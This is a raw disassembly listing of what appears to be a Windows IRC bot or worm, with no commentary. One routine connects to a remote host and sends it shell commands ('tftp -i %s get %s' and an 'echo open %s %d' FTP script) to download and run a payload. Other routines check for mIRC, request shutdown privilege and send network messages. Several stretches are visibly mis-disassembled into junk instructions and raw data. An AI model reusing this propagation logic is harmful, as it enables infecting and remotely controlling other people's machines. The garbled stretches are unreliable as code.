loc_417471:				; CODE XREF: sub_417120+335j
		cmp	eax, 1
		jnz	short loc_417498
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4394A0
		call	sub_41F33C
		mov	cl, 41h


loc_41748E:				; CODE XREF: sub_417120+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417498:				; CODE XREF: sub_417120+2F2j
					; sub_417120+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417518
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	ds:dbl_4394B0
		call	sub_41F33C
		cmp	eax, 1
		jnz	short loc_417518
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_439490
		call	sub_41F33C
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_439488
		call	sub_41F33C
		cmp	eax, 1
		jnz	short loc_417518
		cmp	[ebp+var_C], eax
		jge	short loc_417518
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_439480
		call	sub_41F33C
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417518:				; CODE XREF: sub_417120+1B1j
					; sub_417120+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41D800
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417120	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417531	proc near		; CODE XREF: sub_417569+125p
					; sub_417569+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_41755F


loc_417542:				; CODE XREF: sub_417531+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41EC40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417565
		inc	esi
		cmp	esi, edi
		jl	short loc_417542


loc_41755F:				; CODE XREF: sub_417531+Fj
		xor	al, al


loc_417561:				; CODE XREF: sub_417531+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_417565:				; CODE XREF: sub_417531+27j
		mov	al, 1
		jmp	short loc_417561
sub_417531	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417569	proc near		; CODE XREF: seg000:0040AD9Cp
					; seg000:0040AE85p ...

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41DEB0
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_4175AA
		dec	eax
		jz	short loc_417588
		dec	eax


loc_417582:				; CODE XREF: sub_417569+57j
		xor	eax, eax


loc_417584:				; CODE XREF: sub_417569+3Fj
					; sub_417569+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_417588:				; CODE XREF: sub_417569+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	ds:dword_451530
		push	eax
		call	sub_409CC8
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_417584
; ---------------------------------------------------------------------------


loc_4175AA:				; CODE XREF: sub_417569+13j
		push	6
		push	1
		push	2
		call	ds:dword_451570
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_417582
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	ds:dword_4514F4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4024FB
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_45149C
		cmp	eax, edi
		jz	loc_4176C6
		push	ebx
		push	48h
		push	offset dword_44D84C
		push	esi
		call	ds:dword_451540
		cmp	eax, edi
		jz	loc_4176C6
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_45150C
		cmp	eax, edi
		jz	loc_4176C6
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_4176C6
		push	ebx
		push	18h
		push	offset dword_44D898
		push	[ebp+arg_4]
		call	ds:dword_451540
		cmp	eax, edi
		jz	short loc_4176C6
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_45150C
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_4176C6
		cmp	[ebp+var_200E],	2
		jnz	short loc_4176C6
		push	10h
		push	offset dword_44D8B4
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_417531
		add	esp, 10h
		test	al, al
		jz	short loc_4176A6
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_4176C6
; ---------------------------------------------------------------------------


loc_4176A6:				; CODE XREF: sub_417569+12Fj
		push	10h
		push	offset dword_44D8C8
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_417531
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_4176C6:				; CODE XREF: sub_417569+9Bj
					; sub_417569+B2j ...
		push	[ebp+arg_4]
		call	ds:dword_451588
		mov	eax, ebx
		pop	ebx
		jmp	loc_417584
sub_417569	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4176D7	proc near		; CODE XREF: seg000:00403948p
					; seg000:0040397Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417762
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417762
		cmp	[ebp+arg_8], esi
		jz	short loc_417762
		cmp	byte ptr [eax],	0
		jz	short loc_417762
		push	ebx
		push	edi
		call	sub_437BC0
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_41775D
		push	[ebp+arg_4]
		push	edi
		call	sub_41DBE0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417756
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41D800
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AC70
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41E710
		push	[ebp+arg_4]
		call	sub_41AC70
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41E560
		push	ebx
		push	edi
		call	sub_41E550
		add	esp, 30h
		mov	esi, edi


loc_417756:				; CODE XREF: sub_4176D7+3Cj
		push	ebx
		call	sub_41B8B0
		pop	ecx


loc_41775D:				; CODE XREF: sub_4176D7+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417764
; ---------------------------------------------------------------------------


loc_417762:				; CODE XREF: sub_4176D7+Cj
					; sub_4176D7+13j ...
		xor	eax, eax


loc_417764:				; CODE XREF: sub_4176D7+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4176D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417768	proc near		; CODE XREF: sub_402EAE+E9p
					; sub_411539+F4p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41D100
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AC70
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_41779E
		or	eax, 0FFFFFFFFh
		jmp	short loc_417811
; ---------------------------------------------------------------------------


loc_41779E:				; CODE XREF: sub_417768+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_4177C0


loc_4177AA:				; CODE XREF: sub_417768+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_4177B7
		cmp	dl, 0Dh
		jnz	short loc_4177BB


loc_4177B7:				; CODE XREF: sub_417768+48j
		and	byte ptr [ecx+esi], 0


loc_4177BB:				; CODE XREF: sub_417768+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_4177AA


loc_4177C0:				; CODE XREF: sub_417768+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_4177F1
		lea	edi, [ebp+var_7CC]


loc_4177CD:				; CODE XREF: sub_417768+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_4177EC
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_4177EC
		cmp	ebx, 1F4h
		jge	short loc_4177F1
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_4177EC:				; CODE XREF: sub_417768+69j
					; sub_417768+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_4177CD


loc_4177F1:				; CODE XREF: sub_417768+5Dj
					; sub_417768+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_41780F
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41E840
		add	esp, 0Ch


loc_41780F:				; CODE XREF: sub_417768+8Ej
		mov	eax, ebx


loc_417811:				; CODE XREF: sub_417768+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417768	endp


; =============== S U B	R O U T	I N E =======================================



sub_417815	proc near		; CODE XREF: sub_41786F+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_41784E
		push	ebx
		mov	ebx, edi


loc_417832:				; CODE XREF: sub_417815+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_417851
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_417832
		pop	ebx


loc_41784E:				; CODE XREF: sub_417815+18j
		pop	edi
		pop	esi
		retn
sub_417815	endp


; =============== S U B	R O U T	I N E =======================================



sub_417851	proc near		; CODE XREF: sub_417815+25p
					; sub_41786F+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_420960
		cmp	al, 61h
		pop	ecx
		jl	short loc_41786C
		cmp	al, 7Ah
		jg	short loc_41786C
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_41786C:				; CODE XREF: sub_417851+Ej
					; sub_417851+12j
		xor	eax, eax
		retn
sub_417851	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41786F	proc near		; CODE XREF: seg000:004162B0p
					; seg000:00416335p ...

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41DEB0
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AC70
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AC70
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_417815
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4178AD:				; CODE XREF: sub_41786F+B6j
		test	esi, esi
		jle	short loc_41792B
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_420960
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_420960
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_417923


loc_4178D3:				; CODE XREF: sub_41786F+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_417851
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_4178F4
		mov	eax, ecx


loc_4178F4:				; CODE XREF: sub_41786F+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_417927
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_420960
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_420960
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4178D3


loc_417923:				; CODE XREF: sub_41786F+62j
		dec	edi
		dec	esi
		jmp	short loc_4178AD
; ---------------------------------------------------------------------------


loc_417927:				; CODE XREF: sub_41786F+8Aj
		xor	eax, eax
		jmp	short loc_417930
; ---------------------------------------------------------------------------


loc_41792B:				; CODE XREF: sub_41786F+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_417930:				; CODE XREF: sub_41786F+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41786F	endp

; ---------------------------------------------------------------------------


loc_417935:				; CODE XREF: seg000:0040667Ep
					; seg000:0040704Dp
		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp-100h]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 3D0000h
		sub	cl, [ebp-0FF7Bh]
		dec	dword ptr [edx+1FF98008h] ; CODE XREF: seg000:0041797Bj
		jg	short loc_41797A
		cmp	cl, 9
		jnz	short loc_41797D


loc_41797A:				; CODE XREF: seg000:00417973j
		inc	eax
		jmp	short near ptr loc_41796D+1
; ---------------------------------------------------------------------------


loc_41797D:				; CODE XREF: seg000:00417978j
					; seg000:00417990j ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp-100h]
		cmp	eax, ecx
		jb	short loc_417997
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_41797D
		cmp	cl, 21h
		jl	short loc_41797D


loc_417997:				; CODE XREF: seg000:00417989j
		lea	eax, [ebp-100h]
		push	esi
		push	eax
		mov	esi, offset dword_4EDCD4
		push	dword ptr [ebp+8]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41D360
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4179BF	proc near		; CODE XREF: seg000:00407BE3p
		push	esi
		push	0
		call	ds:dword_4514C4
		test	eax, eax
		jz	short loc_4179F6
		push	1
		call	ds:dword_4514E4
		mov	esi, eax
		test	esi, esi
		jz	short loc_4179F6
		push	edi
		push	esi
		call	ds:dword_4F13D8	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_4F13D4	; GlobalUnlock
		call	ds:dword_451544
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4179F6:				; CODE XREF: sub_4179BF+Bj
					; sub_4179BF+19j
		xor	eax, eax
		pop	esi
		retn
sub_4179BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179FA	proc near		; CODE XREF: seg000:00406FFCp
		push	ebp
		push	esi
		xor	esi, esi
		push	esi
		push	offset aMirc_2	; "mIRC"
		call	ds:dword_451500
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_417A7A
		push	ebx
		push	edi
		push	offset aMirc_3	; "mIRC"
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 3D0000h
		test	eax, 0F88B5656h
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 3D0000h
		mov	edi, 142474FFh
		mov	ebx, eax
		push	ebx
		call	sub_41D260
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	ds:dword_45154C
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	ds:dword_45154C
		push	ebx
		call	near ptr 3D0000h
		call	near ptr 0FC5779C7h
		adc	cl, [edi+0]
		push	1
		pop	eax
		pop	edi
		pop	ebx
		jmp	short loc_417A7C
; ---------------------------------------------------------------------------


loc_417A7A:				; CODE XREF: sub_4179FA+14j
		xor	eax, eax


loc_417A7C:				; CODE XREF: sub_4179FA+7Ej
		pop	esi
		pop	ebp
		retn
sub_4179FA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-11Ch]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	ds:dword_4515AC
		test	eax, eax
		jz	short near ptr loc_417B1D+1
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_4F1380
		push	1
		lea	eax, [ebp-11Ch]
		push	80000000h
		push	eax
		call	esi ; dword_4F1380
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short near ptr loc_417B1D+1
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	ebx
		call	near ptr 3D0000h
		push	ecx
		push	ebx
		mov	ebx, ds:dword_4F12FC
		call	ebx ; dword_4F12FC
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	dword ptr [ebp+8]
		call	esi ; dword_4F1380
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short near ptr loc_417B1D+1
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	esi
		call	near ptr 3D0000h
		mov	[esi-1], dl


loc_417B1D:				; CODE XREF: seg000:00417AA9j
					; seg000:00417AD0j ...
		rcr	dword ptr [edi+5Eh], cl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 454h
		push	esi
		xor	esi, esi
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41D100
		push	44h
		lea	eax, [ebp-54h]
		push	esi
		push	eax
		call	sub_41D100
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-454h]
		mov	dword ptr [ebp-54h], 44h
		mov	dword ptr [ebp-28h], 1
		push	dword ptr [ebp+8]
		mov	[ebp-24h], si
		push	offset aSS_5	; "%s %s"
		push	400h
		push	eax
		call	sub_41D360
		add	esp, 2Ch
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-54h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-454h]


loc_417B8C:				; CODE XREF: seg000:00417BFDj
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	near ptr 3D0000h
		adc	edi, esi
		fcomp	dword ptr [ebx]
		rcr	byte ptr [esi+23h], 45h
		clc
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_417BA1	proc near		; CODE XREF: seg000:00403FF9p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_418FDB
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	ds:dword_451438
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_417BA1	endp

; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: seg000:00407E53p
		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	ds:dword_43CC70, esi
		push	edi
		jz	short loc_417BE7
		cmp	ds:dword_4515C0, esi
		jnz	short loc_417BE7
		push	esi
		call	start
		pop	ecx


loc_417BE7:				; CODE XREF: seg000:00417BD6j
					; seg000:00417BDEj
		call	sub_408F08
		lea	eax, [ebp-764h]
		push	eax
		push	400h
		call	near ptr 3D0000h
		jns	short loc_417B8C
		test	[eax+edi*8-72AF0001h], ebx
		test	[eax+68FFFFFDh], esp
		sub	al, 0D9h
		inc	esp
		add	[eax-18h], dl
		dec	edx
		push	esi
; ---------------------------------------------------------------------------
		dd 0C4830000h, 0A0858D0Ch, 56FFFFFDh, 56026A56h, 6856h
		dd 0FF504000h, 4F138015h, 3BF88B00h, 0C860FFEh,	8D000001h
		dd 0FFFDA085h, 858D50FFh, 0FFFFF89Ch, 44D93868h, 0DE85000h
		dd 83000056h, 458D0CC4h, 8D5056FCh, 0FFF89C85h,	9E850FFh
		dd 59000030h, 9C858D50h, 50FFFFF8h, 838AE857h, 57F3FFFBh
		dd 12FC15FFh, 106A004Fh, 56EC458Dh, 5476E850h, 446A0000h
		dd 5FA8458Dh, 0E8505657h, 5468h, 8918C483h, 4BFA87Dh, 8D000001h
		dd 0FFFEA485h, 565057FFh, 0D8B445C7h, 0C7004EDEh, 1D445h
		dd 89660000h, 3DE8D875h, 3DFFFB83h, 8336E850h, 8D41FFFBh
		dd 0FFFEA485h, 15FF50FFh, 4F1334h, 74FFF883h, 0A4858D12h
		dd 68FFFFFEh, 80h, 8312E850h, 8D12FFFBh, 0FFFEA485h, 858D50FFh
		dd 0FFFFFDA0h, 9C858D50h, 68FFFFF8h, 44D97Ch, 5552E850h
		dd 0C4830000h, 9C858D10h, 57FFFFFCh, 9C858D50h,	50FFFFF8h
		dd 0FB82DBE8h, 458DA6FFh, 458D50ECh, 565650A8h,	400868h
		dd 56016A00h, 0FC9C858Dh, 5056FFFFh, 82BAE856h,	5FC6FFFBh
; ---------------------------------------------------------------------------
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp-94h]
		mov	dword ptr [ebp-94h], 94h
		push	eax
		call	ds:dword_4F1358	; GetVersionExA
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_417DE1
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		call	ds:dword_451474
		push	edi
		push	eax
		call	ds:dword_451484
		test	eax, eax
		jz	short loc_417DD3
		push	dword ptr [ebp+18h]
		push	offset dword_44D994


loc_417DAC:				; CODE XREF: seg000:00417DDFj
		lea	eax, [ebp-294h]
		push	eax
		call	sub_41D260
		push	edi
		lea	eax, [ebp-294h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		add	esp, 20h
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------


loc_417DD3:				; CODE XREF: seg000:00417DA2j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset dword_44D9CC
		jmp	short loc_417DAC
; ---------------------------------------------------------------------------


loc_417DE1:				; CODE XREF: seg000:00417D8Aj
		lea	eax, [ebp-294h]
		push	offset dword_44DA14
		push	eax
		call	sub_41D260
		push	edi
		lea	eax, [ebp-294h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		add	esp, 1Ch


loc_417E0B:				; CODE XREF: seg000:00417DD1j
		pop	edi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E0E	proc near		; CODE XREF: seg000:0040AFC0p
					; sub_40B8D0+430p ...

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_451530
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	ds:dword_4514F4
		push	edi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_451570
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_BC], esi
		jz	loc_417F11
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_45149C
		cmp	eax, 0FFFFFFFFh
		jz	loc_417F11
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_45150C
		mov	esi, offset byte_43CCBC
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_402617
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41D360
		movzx	eax, word ptr ds:dword_4DF1B8
		add	esp, 18h
		push	esi
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_402617
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41D360
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_BC]
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_417F15


loc_417F11:				; CODE XREF: sub_417E0E+56j
					; sub_417E0E+6Cj
		xor	al, al
		jmp	short loc_417F39
; ---------------------------------------------------------------------------


loc_417F15:				; CODE XREF: sub_417E0E+101j
		push	0
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	ds:dword_45150C
		push	[ebp+arg_BC]
		call	ds:dword_451588
		mov	al, 1


loc_417F39:				; CODE XREF: sub_417E0E+105j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E0E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp-94h]
		mov	dword ptr [ebp-94h], 94h
		push	eax
		call	ds:dword_4F1358	; GetVersionExA
		cmp	dword ptr [ebp-90h], 4
		jnz	short loc_417F94
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_417F7D
		push	1
		pop	eax
		cmp	[ebp-84h], eax
		jnz	short loc_417F94
		leave
		retn
; ---------------------------------------------------------------------------


loc_417F7D:				; CODE XREF: seg000:00417F6Ej
		cmp	dword ptr [ebp-8Ch], 0Ah
		jz	short loc_417F8F
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_417F94


loc_417F8F:				; CODE XREF: seg000:00417F84j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_417F94:				; CODE XREF: seg000:00417F65j
					; seg000:00417F79j ...
		push	esi
		push	edi
		push	offset aNetapi32_dll_0 ; "netapi32.dll"
		call	ds:dword_4F130C	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebu_0 ; "NetMessageBufferSend"
		push	esi
		call	ds:dword_4F1314
		push	32h
		mov	edi, eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-1C0h]
		push	eax
		call	sub_41FEE0
		push	32h
		lea	eax, [ebp-15Ch]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_41FEE0
		push	32h
		lea	eax, [ebp-0F8h]
		push	dword ptr [ebp+10h]
		push	eax
		call	sub_41FEE0
		lea	eax, [ebp-0F8h]
		push	eax
		call	sub_4201B0
		shl	eax, 1
		push	eax
		lea	eax, [ebp-0F8h]
		push	eax
		lea	eax, [ebp-15Ch]
		push	eax
		lea	eax, [ebp-1C0h]
		push	eax
		push	0
		call	edi	; GetTickCount
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	near ptr 3D0000h
		mov	cl, [ebx-36A1A039h]
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


